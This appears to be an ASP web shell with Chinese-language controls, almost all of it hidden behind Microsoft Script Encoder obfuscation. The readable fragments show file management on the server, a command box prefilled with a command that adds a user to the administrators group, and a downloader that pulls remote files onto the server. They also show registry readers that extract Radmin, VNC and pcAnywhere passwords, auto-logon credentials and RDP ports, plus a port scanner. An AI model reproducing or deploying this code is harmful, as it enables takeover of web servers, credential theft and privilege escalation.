^YbWUPUkUWK2xv64N?YMS64NnK/b@#@&6(LjYMxIwsC1+`68N?ODBE?JSrJrJ#=1A?DDx?aVrOvr4NjYM~J#Eb)wWMPr'T~:W~j~GE	NcHh?O.*)jk	WK2U{?bx0K2	'2	ZGN`HnS?YMck*~r(%KWk#L\8Z.J6)H+XO)UkUWK2xxJ0O`Ur	0GAxBS+	`Urx6W3x*O+b@#@&2	[PwEx1OrW	@#@&Zsldd,s(s=[ksPor^+?r"~ok^nUYCMY=nDb\mO+,?;4,ZsCk/{&UkDkl^r"+=sbVn?r"'T)wrV?OCMY'TlAx[PU;()K!4^km,0!UmDkGx,?C-b/vo#@#@&P,[r:,K2)jl-nz/xYM;+=kW~DDkhcw#xJr~KD~wk^+?DlMO'ZPOtx~nXkY,WE	mYbGU@#@&P,/nY~P2'/DCYr8%mYcjKYcvBT*#l:&cHW9+{f):& KHwnx8)K2 ra+x=PqRaWkkOkGU{srVjYmDOl:FR^GaXOW,P2~obV?k.+=P&c?C\KGobV+,o~y)K2 /VK/)d+O~:&xxKOtbxLlUl\n)k'Wl^d)n	N,0E	mDrW	)3x9P/sm//=@#@&@#@&s!U^YbW	PoEUcUtr?mUr(LdOM#)j4b?Cx}8N/OM'"+w^l1n`Utr?mx68N/YMSJ-J~rEEJ*)wW.Pj4b?Cx&xF,KG~d+xcj4kjl	6(LdDD*)q6PtrNv?4kUlU6(L/D.~UtkUCUqBF*@!@*JZE:tnx=jtb?CUg+hjOM'\k9cUtrUl	r4N/D.~Utr?mx(S8#[U4kUlxgnA?DD=2s/nlUtr?mU1hjOM'\8/MSW[U4b?C	1h?DD=3x9P(0=1naD)s!UP{P?4rjl	1hjY.lAx[Pw;x1YrG	@#@&/sm/dPd$w)9b:,Zs=nMr\mYnPUE8~;Vlkd{&xkDrCVby)j2P~;sxZMnlD+68N+mOcUWO`ZSZ#b=2	NPUE(lnMk-lD+~j!4P;slk/{:n.:bxmYn)jnDP/s{HWDtrUT)2U[,?;4@#@&wEU1YbWx,?4GhGDr\Dcb@#@&sK.PAlm4~9Pbx,ZoR9.b\n/@#@&I"?E@!DD@*@!O9P4+bL4YxE ZB@*@!l,4D0xBNl-CkmDb2Y=?tKAoW^NDcJEELf fMr\SnOD+D'E=-wJrbE@*→本地磁盘~vJLfRGDb-+d+OYD'E=#@!JC@*@!zY9@*@!zDD@*J~@#@&H6O@#@&3x9Po;	mYrG	@#@&s!U1YrKx,?tKh8ok^+cnmY4b=@#@&UnY,srd9xZwRV+OsGs9+.`hCY4#@#@&b'!@#@&UqxJ@!Om4sPSkNDt{vFZ!YB,4G.9+D{v!EPmss/al1kUoxvZB~msVal[[bxoxv+B@*@!D.@*J@#@&sKDPAl14PwPrx,s6JGR/!80KVN.d@#@&?&'jq'E@!Y[P4nkTtOx8!PAr9Y4'8{uPC^kTx'1+	O+M@*@!Nb\~dDXVxB(WD9n.)8wXPdWsr9PE[~GD9+./KVW.'rB@*J@#@&UqxUqLJ@!mP4.+6'vLm\Cd1DkaO)UtWSoGV9+M`EJE'"+KlD4`hlO4LJ-E'wRHlsn*[ErJ*BPDkDs+{JE进入Jr@*@!WKxY,Wl1+'EArxTNbxL/v~kk"+{vvE@*T@!J0WUO@*@!8D@*ELs gls+[r@!JC@*rP@#@&Uqxj&[J@!8D@*@!4@*,@!z(@*@!l~t.n6'vLm-lkm.raY)o;^VoWMhvJEr["+nmY4cnmY4[r-E'wR1mh+*[JrESJrZKwzsGs9+.JrbBKx^sbm3xvM+OEMU,XnkW0`#EP1slk/xBm:v~DkY^n'E复制B@*;G2X@!zm@*~J@#@&Uqx?&'J@!l~4M+0xvNl-lk^Mk2D)wEV^sK.:vJEJLIn2^lmcnmYtLEwJLsc1C:nSr-E~rw-r#'ErJ~EEG+ssKs9+.rJ*BW	m^rm0'vDY;.	PXdW0`#E~^Vm/k'vlhv,YrY^n'E删除B@*9V@!&C@*J@#@&U({?(LJ,@!l,tMn0{B%l7ld^MkwDls!VVwG.:vJrJ'InKmY4`hCY4[Ewr[s Hm:n#LErJSrJtW\sKsNDEJ*BGU1Vk1V'ED+D;.x,X/G3cbEP^Vmd/{BChEPYrO^+xB移动E@*tW-@!Jl@*r@#@&jq{?([rP@!C,tDW'ELl7CdmMkaYls;s^sGDscJrJ']nlO4vnCY4'r-ELsc1ls+*'JrJSJrfGA	sk^nJr#BKU^Vbm0'vDnO!DUPHn/K3cbEPmsCk/xBmhEPObY^+'E下载B@*9WSx@!zm@*@!8@*T@!J8@*@!zNb-@*@!JY9@*E@#@&r{kQF@#@&q6Pr~sWN~X,'~!,O4+U,?&'?&[r@!zDD@*@!DD@*E@#@&1aY@#@&?&xjqLJ@!zOD@*@!DD@*@!D[P4+rL4Y'+@*@!zON@*@!JY.@*@!JYl(V@*J@#@&]IUPj(=?q{EJ=k'Z@#@&?&'r@!Ol8sPAk9Ot{BqTZ]B~8KD[+MxE!v,mVVkwm^k	oxBZB~^VVaCN9kxTxvvE@*@!Y.@*E@#@&sGD,3l1t~J,kx~oKV[R6r^+d@#@&Uq'UqLE@!DN~tkL4D'B2TB@*@!Nb-~/DX^+xB8GMNnD=qwXPdG^kN~ELAGD9nMZG^WM[JE@*@!CP4Dn0{B%C7l/1.kaY)w;sVwWM:cJEELInnmOtvnCO4[JwELS 1mh#'rJr~JrfKAxwks+rJbIEPYbOV'B下载E@*@!0KxDPWl^n{BAk	LNbxLdEP/r"'v*E@*y@!&6W	Y@*r[d 1m:n[r@!&C@*P@!(@*$@!z4@*~E@#@&?&'jq'E@!l~tMn0{B%C7l/^.bwO)w;^VoKDs`JrJL]+hlOtvnCO4[J'E[dR1mhn#LJrJSJE39kOsbs+rJbv,mVCdk'vlsv,YrDV'B编辑E@*A[kD@!&l@*PE@#@&?q{jqLJ@!m~4D0{B%l-Ckm.kaO)wEsswWDhcrJE["nhlO4`hlY4[rwJLS 1m:nbLJJrSJrf+^orVJr#vWU^^k^3{vDY;.	PXndK3c#E~1VCk/{BlsB,OkDVn'E删除B@*9V@!JC@*,J@#@&jr'UkLJ@!l~~4Dn0{va[av~1Vldd{BC:E~@*@!WKxDPmKVK.'(V;+,@*权限@!&6WxD@*@!Jl@*r@#@&fb:,2[kO6}|@#@&A[kDr6F{F@#@&39kOr}#{V zYDDk(EDn/@#@&(0,2[rDrrj~@*{PFy0~K4+	@#@&2[rDr6.,xPANrO}r.~R,F+%@#@&Ax[,q6@#@&&0,3NbY6rjP@*x,vc,Ptx@#@&3[kDr}.~'~39kOr}#P P*@#@&2U[,qW@#@&(6P39kDrrjP@*xP2 ~K4+U@#@&2NbOr}.P{~3NbY}r#PR~2 @#@&AUN,qW@#@&q0~39kOr}#,@*x,F+PK4+	@#@&ANrY}r#~{P29rY}r.,R~F+@#@&2UN~(6)(0,3NbY66jP@*x~RPPtU@#@&39kDrrjP{~29kOr}.~R,%@#@&3x9Pq6@#@&q6PANrY66jP@*',*P:tnU@#@&2[rDr6.,x,2[bY}r.,O,*)ANrY}rFxZ@#@&AUN,q0@#@&(0,29kOr6#,@*xPy~K4+U@#@&2NrO}r#P{~ANrDr}.P Pyl29kOr}|xT@#@&2	[P&0@#@&(WPANbY6r#~@*'~F,Ptx@#@&ANkO6}.~',39kO}rjPO,F=3NbY6rn'T@#@&2x9~q6@#@&bW~29kDr6|xT,Y4+	@#@&kkxdb[J@!WKxOP6C1+xEh4NbxTdB,/ry'vqEPmKsWM'D[@*6@!z6WUY@*E@#@&nVkn@#@&/rxkk[E@!6WUY,^KVGM'M+N,@*√@!&0KxO@*r@#@&n	NPbW@#@&?q{j([r@!mP4DnW{B%l7C/1Dr2D)s;s^sGDscrJELInlDtvKlDt'J'J'Jc1lsn#LJJrSEJ;WaXoksnrJbB,^Vm/dxEl:v~DkOVxE复制B@*;WaX@!Jl@*~J@#@&jq{?('r@!l,4D0'E%C\m/1DrwOlwEsVwGDs`EEr[InKmY4`hCDt'r-r[Sc1mh+*[EJr~EEtW\ok^+JrbvP1Vm/d'vCsB~YbOV'v移动v@*HW-n@!zC@*,@!(@*D@!z(@*P Pr@#@&Uqx?&[^s	o`d /by+JqT W#LJF@!8.@*@!8@*r@#@&Uqxj&[S PHwn[r@!J4@*,@!b@*P Pr@#@&Uqx?&[J GlYJlkYHK[r0b+9[E@!&r@*@!&Nb-@*@!zO[@*J@#@&r{kQF@#@&&0~bPsWN, ,xPZPOtx~j&'?&'J@!zYM@*@!YM@*r@#@&1naD@#@&P"]?,?('r@!zO.@*@!&Ym8^+@*r@#@&?+DPw6SG'HWDtrUT@#@&AUN,0E	^OkKx=@#@&s;U1YrW	~fVor^+`KCDtb)AaZ;D+,?k	0K3xvJ4+,K4bmY`hO/b/2XsnsbscP/qWU#Y4nmnPbVnoY+s GZo=M@*D+n	z1！@!成功删除U,tLCYLn~U文件M@*@!8M@*@!(.@*@!4D@*On+	@!1'=?(=#j.m0$l&[xjUqV|j&?~I"|&0[,2	J~hWkb)Ax[PwEU^DkW	ls!xmDrGx,29kOsrs`KlD4#=)(W,I+5;/O`r)1YrKxyJ#{JhG/DJ~K4+UlU+Y,P';sR;.nlD+:+aYor^+cnmOt*)P qDkOndkU+,];;/DR0KDscJ1WUYxOE*)Kc^VK/+=jnY,K{xGY4r	ol?&xJ@!mnUD+D@*@!(D@*@!(.@*@!8M@*文件保存成功！@!zmxDnD@*Jl?&'j(LAl1VjMV)"]jPUq=I]?~Er[^WazEMV'Er)IndaWU/ Ax[=2	NP&0=(0,nCY4@!@*ErPK4nx=?+D~P';scW2+UO6O0bs+vnCO4~PqS,sCVkn*)PXY{CKtSAUmKNn`:R.nmNl^s#,)Kc^sWk+=?nY~P{1GY4rxT)3sk+)KCDtx?dkkG	`rsW^N.nmY4J*[Ew	+h6rVRlk2E):6D'E新建文件Jl3	N~q6l?&'j(LJ@!oGM:~l1ObWU{Br[j"SLEgzmOkKx+xhW/DvPs+Y4G['EwK/OB~Um:n'E3NbYoGM:B@*E=?('U(LJ@!bxaEY,xmh+{B)mDkGUEP\msE'BA[rYwk^+vPPza+xB4rN9+Uv@*J)j({?([r@!bx2!Y,xls+{vsglh+EP-C^E+{vJLnlD4'JEPkYzVnxEhrND4)8!TYE@*@!8.@*Jl?&xUq'r@!D+6DlMnl,xC:'v/KxYUYEP/Dzs+{BSk[Y4l8!T]p4+bo4O=c*Tv@*J'KXOLJ@!JY6YmDC@*@!4.@*r)j({?qLE@!4D@*@!rUw!Y,xC:nxEoG4m^3EPOza+'v8!YOW	v,\C^E'B返回EPKUm^k^3{B4rkYWMzR(lm0cbiE@*Lx8/2ILx8/aI[	4d2p@!kU2!Y~xmh'vM+k+YEPDzw'vD/nOEP\msE'B重置E@*'x(/ai'x8dai'x(dwp@!rUaEY~Um:n'Ed!4hbYEPYHwxBkE8:bYv~7lV!n'E保存B@*@!&WWM:@*JlI]j,?()@#@&2	N~o!xmOrKxls!U1YrKx,ZWaXwrV`KlDtblA6+;;YP?bUWWAxvJkUkk?u4~mO`hkO2^P?~xDtKl*|xP4U,@*U*@!vqY4nCN,lUb,!#4clD`nDdr/A6^+oko ,Z(0#cFDtKC*~`TO4nC+,r^XoKwcZZw##@*UDUY1+@!&功！制成?复#[vTY4nl?'文件.@*@!4M@*@!4.@*@!4.@*Dn+	@!^x??q|iMmVAm(L'jUq^=?&?,]I,=(09P3Ur~nKd#=2x9~oE	mDkGxlo!x^YbGx,HG-sksnvnCY4b=2aZ!Y+,?bU0K2U`rukk?#Y4SU-kYvKC',?aVKlO4,==P:4+8#@!@*?nlO4vPCx9~4`T*#k`nmYAakkY sbVn(6PZwU=hlY4c4`Z#B+~nCO7+ok^/scHGq*=+UOD功！@!z1'?移动成Y4v!*件U[hl@!8D@*文@*@!4M@*.@*@!4D1nxD+?&x=@!@*U#[$l^VUqx?&iD^=]]UP?(~#2UN,(6JSh/K#)Ax9~s!x^YbWUlwEx1OkKxPGnssKV9+.`KCDtb)Aa+;EOn,?kUWK2U`r4PP4#mY`hYkr/A6nD^NoGwRP;(0	=Y4KCD,NWs+onD+sRG/s#D@*O+x&^！@!成功删除[=Y4KmU'目录M@*@!4D@*@!(.@*@!4.@*D+nU@!m'?jq?=jM^VAmqL'j?(s#?(?,]I#qW[,2xEShWd#=3	N~wE	mYbW	ls!x^YbWU~;WwHoW^N+McKlDt*)36n/!YnPUrx6W3UvJu=k-UktBCD`KbYaVPUP{Othlb=xP4?P@*?b@!vFY4KCN,l	#~!b4vlO`hO/b/3aDV[oKs P;(6=c8Y4nl*~vTY4nCD,NnG^XsK2R;Zs*|@*UD	Y^+@!&功！制成?复#'`ZOthl='目录M@*@!8.@*@!8D@*@!(D@*D+x@!1'?jq#j.m0AC(L'?U(V#?qU~]I#q6N~2UEBnG/*l2	N~o!xmOrKxls!U1YrKx,HW7+wGV9+.`hlO4*)2XnZ!Y+,jrx6WAxcJk=-u=u4SlD`KrDwV~j,'OthC*=n	K4UP@*U*@!`8Y4nmN~C	#PZbtvlYvKO/b/A6nDs[wWoR,/q6=cqDtnCbB`TY4KmD~9+KV+wW7 H;sb=@*Un.	Ym@!z功！动成?移#[vTOthl?[目录.@*@!8M@*@!4M@*@!(D@*O+x@!^{Ujq#iMmV~l&['U?&s=UqjP"I|(6NPAUJBnWkbl2	N,s;x^ObWU)w;x1YrG	P1nAwWsN.vnCDt*)2X+;;YPjk	0G3	`JUK4UP@*=4@!mY,nUN~C4#CYvKYkkd3X+Ds[wWoR,/KY~gq6=Y4nm.P9+GVsCOM+R;/s#D@*DnnxJm！@!成功新建[=Y4KmU'目录D@*@!4M@*@!8M@*@!8.@*Yn+	@!1'=Uq?=jMm0$l&[x?Uqs|Uq?,]I#q09~3xr~hWd#l3	N~s!UmDkGU=2x[~;VC/klkE8,oYKDsrxmV(x6Wcb=26/ED+PUrU0K2	`EPHnXYn/!h+MW.~"rx~3M=4+^s?k2DRUUUmM%+1YclD+68MRZMn?D\dpP{PU+OPAb#+.:hG+H~~OhWDOFskUl^S,YnMYhlY4l^KWM+.:bx9rsPYMO=	nlkdGSKob~~l;ODF+HLk	jd;DWSGO4~~lTr	nC!YKSWGks~ln+z=	nCdkWSKLkBPl!O.xm:kUjdnDWJWTz~,l;8^+|nr	2UlDGdWL~,lEAxm8VdWLk	/);DWfbhPbhWM[|K1w'UwI9K YrW	dk	?OC7+Dw	^Pj+M.skUmW^-KZKUYMVj+D-GUDDWMnxDZH'/;DU5UK3CFJt-4P{~UMYKCDxlsKKYnDsr#:8D?WDD1!~',UKDD|nz	lVhGYD:b|KWMYn:rxCsLPO+MKlDt~shWDO.skUlm[vYn"+TI+,hkpRKDOP{Yn.sn+Hb=@*@!W^@*录@!tMz口及自动登终端服务端"IjP==#PPtUP@!@*~T!:4n.AD.Rg=,r.,Y,'P?DsKWMqWPD+~|@!4DJ@*受到限制R限是否已经,请检查权服务端口~法得到终端I"j=无U#PAVd+|=@!4.zMOPLPn.snW=~LPO务端口),当前终端服]"?~?@*?=2	N,(0#WLW	-w	bxVMdkKx+	O#+'Z!D.hd~gK	k	[WkWWO'Hk^.K)IAw'?6wK;Cqg2zJ{tbe{dr/~?C|ACY4P'KLrxhl!YGS=|	SGoKGb9:r~?bEOFX~'	C(VnKobx2mEDGS	U|Dglhn^Yjknf0l!z~',Uk+.|nGTkUjm;YKS=|khW.[^YKlk90C!X,'P?lkd|WLk	nC;DWS?|4^+|rU2	lDWJWL~LPCE	KlDtGJKok[cmEO+T]lAk(cIVP{~xAxC4KSGLbk/z;YH#=,x~!,xm4s+GLbx3b!OWdqW~b/K4n	=启@!4M&录功能未开系统自动登"Ij,U@*U=AVkn=M|nX*kUik+YKJWTP[,C;xhlDtGSGLbNcl!O+TInCS/( ]s+~',dDUmWTkx`l!OWd==@!(D@*hP[,d+MxlKLrx`l!YGS~=,[~系统帐户)自动登录的"]?,U=|k|+zbbxKlkOKSGTPLPl!xhCY4WJWTk[cmEYLIlhkp IMN,'~lddSWGobUnmEOGd=D~P4+(0,3Mx|ADMRZ^+m.=wls/I]j,UU#3x9Pq6|=@!(D@*D[P'~m/dhKGobxKC!YWJ~?P'P帐户密码=自动登录的]"?~?U#2x9P&W=@!zGV@*I]j,UUrSnkW#=3UN,?!4l/;8,Inl9]2V`b@#@&IIj~r@!WWMh,:nDtKN'aWkO@*r@#@&I"?~~r注册表键值读取@!w@*EP@#@&I"j~J@!k	w;Y~OHwn'4rN9+U~7lV;n{Inl9]o~	ls+'Dt)mD@*E@#@&I]j,J@!D.@*@!YN,^GVkwmxx @*'	4dwpE@#@&I]j,J@!dn^+^Y,G	Z4mxT+'EY4r/c0GDsRO4nlD4R7lV!nxY4kkR-ls;iv@*r@#@&"Ij~r@!W2ObWUP7C^En{BE@*选择自带的键值@!JWaOkKx@*J@#@&]]UPJ@!GwDkW	~-l^E'vCFJt-j5UP2t-/;MD+UO;WUYMG^?nD-;WxDDKs-;Whw!Yn.gl:wZK:w!OnDgls+wZGhaEO+MHls+v@*;W:2;D+.1mh@!&KwDkW	@*r@#@&"IjJ@!W2ObWx,-l^E+{EECnSt-j5jPAHwZ!.DxO/KxY.G^?nY'jD-bm/-:marw'Srx0lLn'Ak	[Jr@*网卡列表@!JG2YbW	@*E@#@&]"?E@!K2YbWU~7lV;n{JECnJt-jI?:2H'Iz[:bxw\yRTwU+D7nD'nlMCh+D+M/wnC.m:nY.Jr@*]C9:kU密码@!JW2YbG	@*E@#@&"I?r@!K2YbWUP7ls;'Jru|dH-UejKAH'I)Nhr	-- cT-U+.-D-KCMlh+DnM/whWMYJr@*"CNskU端口@!JW2ObWx@*E@#@&IIUE@!WaYbWUP-C^En'rECnZiwUW0OAmDn-}]d-	bxj1Z2-hC/khGD9JE@*j1Z2密码@!zKwYbGU@*r@#@&I]?E@!KwOkKUP7ls;'JEunZi-UG6YAmD-r"S'	k	.HZ2-KGMY1!h4DJr@*#1;&端口@!zGwOrKx@*J@#@&I"?E@!KwYrG	P-l^;'ErCnSH'?}oKqb]2'InC^.1;wbx.g/*-hlk/AW.[rJ@*.g/c密码@!zG2DkWU@*r@#@&I"jr@!GaYbWx,\msE'EJ_|J\'?rwPzI2']nl^.gZwrUj1/c'KWMYH;s4+.Er@*#1;*端口@!zGaYbWx@*J@#@&I"?E@!KwOrKxP7CV!+'rEu|dH'?e?P3t-/EM.+	Y/G	YDGsU+O-;G	Y.KV'K+M:bUl^Pj+M\n.'k	jYmYkKUd-"fhOPm2whW.Yg;:(+.Er@*&f0O端口@!&WaObWU@*J@#@&I"?r@!WaYrW	P-C^E+{EJ_|StwjrwKqb]2wjH:CxDnm'w^)	Xh4nM+wZ!.M+UD.D/bW	w?H/O+s-P/hqnGCYmnWMOEJ@*n1bUX	数据端口@!JW2YbGx@*J@#@&"I?E@!KwOkKU,\C^E'JrCnJH'?6s:)]A-?Hhl	Y+1w2mzxHh4+.n'Z;DMnxD.n.kkWUwUXdYh'K/hqh?YmY!dnKDOJr@*K^zxXq状态端口@!zKwYbGU@*r@#@&I]?~E@!W2YbGx,\Cs!+'vun2e{d6;bJ|HzZC&1Aw?I?P2t-/G	YDKs?Y!Zqw?D7k^+dw:m2kaw2	l8s?+^;MkOXwr^YnM/E@*Y1wJrw过滤8@!&WaYrG	@*J@#@&I"?Pr@!GwDkKx~\Cs!+xB_F2I{J6;bSm\zZuqg3'?eUKAH-;W	ODKVj+D!T+'?+M-k1+/'P^wbw'2Ul8s?nm!.kDXor^Y+.dE@*Oma&bw过滤+@!zKwYbW	@*J@#@&]IUPE@!KwYbGx,\l^;n'ECn2e{J6;bJ{t)Z_qH3'?5jPAHwZ!.M+UDZKxYMW^j+D-j+M\r^/-:^wbw-AUC4^+U+^E.rDXok^O+M/v@*Dmw&ra过滤&@!zK2DkG	@*r@#@&"IU~J@!W2YbWU~7lV!n'EC|AemS}ZzSmH)/_qH2'jrwK	)"2-\r1DG/KWD-j1tNE^k	LbT+UY'SGLhlY4v@*Umt[;VPdWL@!&GaYrW	@*J@#@&]]UPJ@!GaYrW	~7ls!+{BCnStw?I?P2t-/;MD+	OZKxYMGs?Y'?nD-r1+d-U4lM+[)1m+dd'nCDmhYnM/'skM+SCV^nGVbmzwUYl	[lMNnMGWk^+'MsW8C^VzranxhW.Ok-SrdD-f&R1=K/hB@*防火开放@!zKwDrW	@*E@#@&I]j,J@!K2YbWx,-CV!+{Bu|J\'?e?:3H'ZGUDDWsjYT!8wU+.7k1+/'K12ka-KlMlhnD+Dkwq	Y+MWCm/'	0b*lF+% 02O,R*~!ZR)wsfO8fW%9;*l2Ay2)wjGn)V^WAn9nWMO/E@*允许开放的jGK端口@!zKwDkGx@*E@#@&]IU~J@!W2ObWx~-mV;+{v_|Jt-U5?:2twZKxODKVjnD!!8w?D\b^n/'K1wrwwKmDC:O+M/w(	Y+.Wmmn/'`Rb*+*8 % %A1, c$!;O)ow&O8fcRfZlX3Ay2)-PZK)^VGh[nKDOdE@*允许开放的K/K端口@!zGwDrKx@*r@#@&IIUPr@!zk+s+1Y@*@!(DPJ@*J@#@&I"j~JLx(/2i@!r	w;Y,Uls+xO4+nCO4P-l^;'vEPkky'RT@*r@#@&I"?~E@!kxa;Y,YXanx4!YDWUP-C^En'E读取键值vPKx^sbm3xvDtr/cWKDhc/!4:bYvbB@*J@#@&"Ij~r@!z6GDs@*@!4.&@*r@#@&kWP]n$En/DcJDtnKmYtEb@!@*EJ,O4+U@#@&}xPADMGD,In/!:n~g+6D@#@&U+Y,Ad(,',?nD-nMR/DCYr8%mYcEq?^Db2DRj4+^VJ*@#@&OtnCY4']n$E+kO`rYtKCY4J*@#@&Y4nzD.lHxhk( ]oInC9`OtKmY4*@#@&q0,qk)DMlz`Dtn)MDlHbP:t+	@#@&sKD,kx!~PKPiAK;x9`O4bD.CH#@#@&"]UPE@!Vb@*J,[,Otb.DmXcr*@#@&gn6D@#@&Asd+@#@&"IjPE@!^k@*J,'PDtn)MDlz@#@&2UN,(6@#@&x9Pk6@#@&nx9PdE(@#@&o!xmDrW	PNKAUVKl9/c#@#@&"xIq'J@!mnUD+D@*@!(D@*@!6GM:~s+DtW9'aG/D@*直接下载@!4M@*@!8M@*J@#@&Iq'Iq'E远程文件)@!k	w;Y~Um:n'D4+`Ds~7lV;n{B4YD2=z&EPkky'RT@*@!4.z@*J@#@&"'"	[r本地路径)@!bU2EDP	lh+xO4+KlD4P7ls;'JEE,[~CDh^2U1W9+`U+M-+MR\lanCO4`JcE#*P[,EEJ,/byn'X0@*PE@#@&]{I	'r@!kU2!Y~YH2'^4+134K6,Uls+xW7+.	MkY~\mVEx+P1tmV+[@*存在覆盖,@!rxa;Y,Yz2'/;8skOP7C^En{B,下载PB@*J@#@&Iq']LJ@!r	wED~YHw+{4rN9+	P-ls;'[WSUsMWhiMVPUCs+xY4nzmO@*J@#@&Iq'"	[r@!&0KDh@*@!zmUYD@*r@#@&I/aWU/n qDrY~Iq@#@&(6Pkd94;otG9+xwl^/+,K4nx@#@&6x,2..KDP"n/!:+,Hn6D@#@&2UN~(6@#@&fbhP_YO2BYtniMVSY4nhlO4~kYDlsSoYWk^+HCs+~K-+MDbOn@#@&Y4+iDsx"+5EdYvJO4jDsE*@#@&Y4nhlO4'"+;!+kO`rY4+hlO4r#@#@&G\DMrO+{I;;+dOvJG\.MkOnr#@#@&jY~/D.lh{?D\Dc/DlO+}4%n1Y`rCNr[+LEGN(RkYE[n'rDnlsE#@#@&jnDPCOOa'j+M-D ;DlYr(%+1YcJt?p\d Ro\S_KKhEb@#@&q6PG\n.qDrY@!@*yPP4x@#@&G7+.MrD+x8@#@&2x9P&W@#@&COYaR62xPr!2:J~,O4+`D^~~sCsk+@#@&_OYaRjn	N`b@#@&qWP_ODw "+mNXUYmO+@!@**P:tnU,@#@&AUN,q0i@#@&bY4PdY.nm:@#@&cPXa+xq@#@&R\G9+x&@#@&cr2x@#@&RqDbO+,COYaR]nkwW	d+~WNH@#@&RhWkkOkGU{!@#@&cjl7+PGwkVn~DtnnmO4~~K\DMkDn@#@&qWPAD. gE:(nD{&!Z*~K4+	@#@&2..cZs+m.@#@&onO6kVnHm:n'U2^kOvY4+jMVB~JJJb``AG;	N`U2VbY`D4njMVBPEzEb*#@#@&&WPT+OWbV+HCs+xJr~:tn	@#@&o+D0bs+glh+{Jq+7tRDaYr@#@&AU[P&0@#@&OtnKmY4'D4+hlO4,[PEwrP'PTnD0r^+gl:@#@& ?m\nKKsrsPY4nnmYtB~G\DqDrYn@#@&2UN,(0@#@& /^W/n@#@&2UN,	bY4@#@&1t3ADMc2MDbdi@#@&jYP_OYa'1KO4k	o@#@&j+O~UY.+mh'gWO4bxo@#@&&0~kk94;THKN+{sms/PPtx@#@&}xPA.DKDP"ndEs+,1n6O@#@&2UN,(0@#@&3U9Ps;U1YrW	@#@&s;	m:kW	Pt\fv#@#@&UqxE@!4D@*@!Ym4V~Ak9Y4'EJqTZ]EJ@*@!YMP^sm//xOM@*@!0K.sPUm:'0KDs~:Y4W9'2GkYPm^YbWx{EEJr@*;H9命令@!rUaEOPDzw'OnXYPUCs+xHt9,/r.+{&*,\msE'vxY~;k+D,0!k+m,0T/m,zCN[~LPU+D~VKmCsTDW;2,l[:bUb/OMlDWDkPRT/m~zmN[v@*P@!bUw!YPDz2+{Y6OPUCs+xj,-l^Enxs//5s用户名@*P@!k	2!Y~DXa+'D+XOP	lh+{n~-mVEx:k/;^密码@*~@!bxaEOPOza+x/!8:bY~-mVEnx执行@*@!&0K.s@*@!JYM@*@!JYm8V@*E)"2dKKx/A hMkYA~jq=?&'EJl(6PODbh`"25;A/Y WKDh`r\tfE*#@!@*JrP,OtAxlnm?dAKDN{~YMk:v]3;!2kY 0G.s`Enrb#=k[xDDkhc"25EAdDRWKDs`J`J*b)k+OPmNG/Kxx{j2M\2M /DlD+64%n1YcJz9rGA /Kxxn^DkGxrb=l[KZKxxcranx,JKDK\r[D'U}S}S2G$ Fpnm?dhG.9'E[hC?khG.9[JIik2.P&9{J'bN=/YMp!nDHPxPr+an1P:mdYDR98GRXw|mhNd4VsPEEPLP]3$E2dOc0GDscrH\GJ*P[,JEE)k+OPM+^]A/E^OP{Pl9G/W	xc2a+^;D+c/D.p!+.z*)qW~grPPMn1I3kE^YRArw~Y42U)GW~	4kV~1}KPMn^IA/!VOR36w)dYM]2kEsO,'PdOMI3/!sDP',m4D`8&*~[,Dnm"2d;^Y`Zb)M+m"3dE^YcHG\nH6O)dGWa)3U9PkWlk+OPMn1I3kE^YP{PgGY4kUo=/O."2/!sY,'P"32VzmA`dY.]A/;VDSJ,JSELx4d2pJb)kOMI3kE^YP{P"3w^b^2v/O."2/!sYBJ@!rSE[^YpJb)dOMI3/!sY,'~]AwV)^A`dYM]A/;^YBJ@*r~r'oDiE#=/O."2/!sY,'P"32VzmA`dY.]A/;VDSm4Dcq2#~E@!(D@*J*lAx[,k6)/Y,CNKZGx	Px~gWY4rxT)IAdKW	/AR	DrOAP]2$;2kY WKD:cEtH9J*~LPE@!4M@*JLPkOD"2dE^Y@#@&MD/,EJLmWaz;D^[rJ@#@&nU9PoE	^YbWUlwEx^ObWUPm[skUm4v#@#@&IdwKxd+c2a2bD+kx!@#@&W	~nDMWMP.+d;s+~xaY@#@&jnDPYHxk+.\.cm.lD+r(L^YvJ	/1Dr2DR1OhKD3rb@#@&U+DPG4%!MW;w{!+Dr8%mYcEqkU1:lJzELYgRZK:a;YDHls+'EJbNsrxb/YMCOWM/Bo.W;2r#@#@&wGD,2C^4Pl[hbx~k	~K4%VDKEwcHh4Dd@#@&I]j,lNsrxc1lsn'J@!4M@*E@#@&H6O@#@&r0,+..,YtnU@#@&]IU~r他奶奶的不行啊)	kmMkwDRgnYSW.3r@#@&n	NPbW@#@&2x9~oE	mDkGx@#@&ku2AJF,'~ENhYE@#@&s;x1ObWU,2	mDHwDcl1Nb@#@&sG.,kP{~F,KW,Jnxvl1NbPdOw~F@#@&m{:r[vlm[Sb~q#@#@&b0~1'r※JPDtU@#@&Nx:bNcC1N~bS *@#@&bxr_8@#@&+xDn2^l^+v[~r※JSEr#@#@&8(mx4(^L:r9`kCA2dq~1kUYv+bS8#@#@&nVk+@#@&88m{4(m'm@#@&x[PbW@#@&xnaD@#@&3U1DzwDx(4^@#@&xN,s!UmDkGx@#@&d;(P?1CxhWDDcb)A6Z;Yn~UkU0K3xvJ{Z!!~x,G{:G!YraY:kDc?1.?D-+#U~O4+Y?b'?`UaG.RwWM:5EndDkWPMnx#%1SW&&fS2&**BqWFfO~W~F2*BT~8FT~y*S0yF~yfkkY'?KGDDSO*0U|n^/n=scUaWO wWDn5!+dkkO{DKKDDSDDU*|+	N~k6=bx?UPv=kaURwG.:$E/OkW~M+OtU=yG Tcqnx=8! F?|Vd=vUkaUcoWM:5E/O(h'Db=xN,rW=G#@!z2荐使用Z\慢S个人推B速度比较描多个端口器`如果扫@*端口扫描4M@*@!aI]j?@!@*=|MEniEsNxDNb/l(4srYc:qRkExv6WD!8:bYB,GU?bW	'vB~C1YvwKdYDtG[{FB~hBWWMh	lh'6WDsP"]??@!@*U#[U8kwx,(n=w@*U^CI"??@!IU|"'vv?vPkk='&n[s;'vwE~7lr9'EkAK6E~B:+aY^ldd{6YE~m'BDnvPDXa+xBr2DPUls@!k	w;]"?U~TE@*==MO,Sr(D@*nW"IU=@!kYlU#kdOLUnK.Yd+'E='P7l^ExBTEPdk.nY~Wav{BKna1VC/knXYv,w'BDYE~YH'vwKD~Um:+bUw!YI"j=@!E@*?=8D@*@!(I]??@!D@*U|U,B@*=v,/^lms!+xK:EP\E4!OY^ld/{kOv,mBk;4sYXanx:bYEPxBd;(PUlsnk	w;O"I?=@!#FqB@*=!+xEFEP\mVEdmmxvPbNxr9N+	2+{Bt	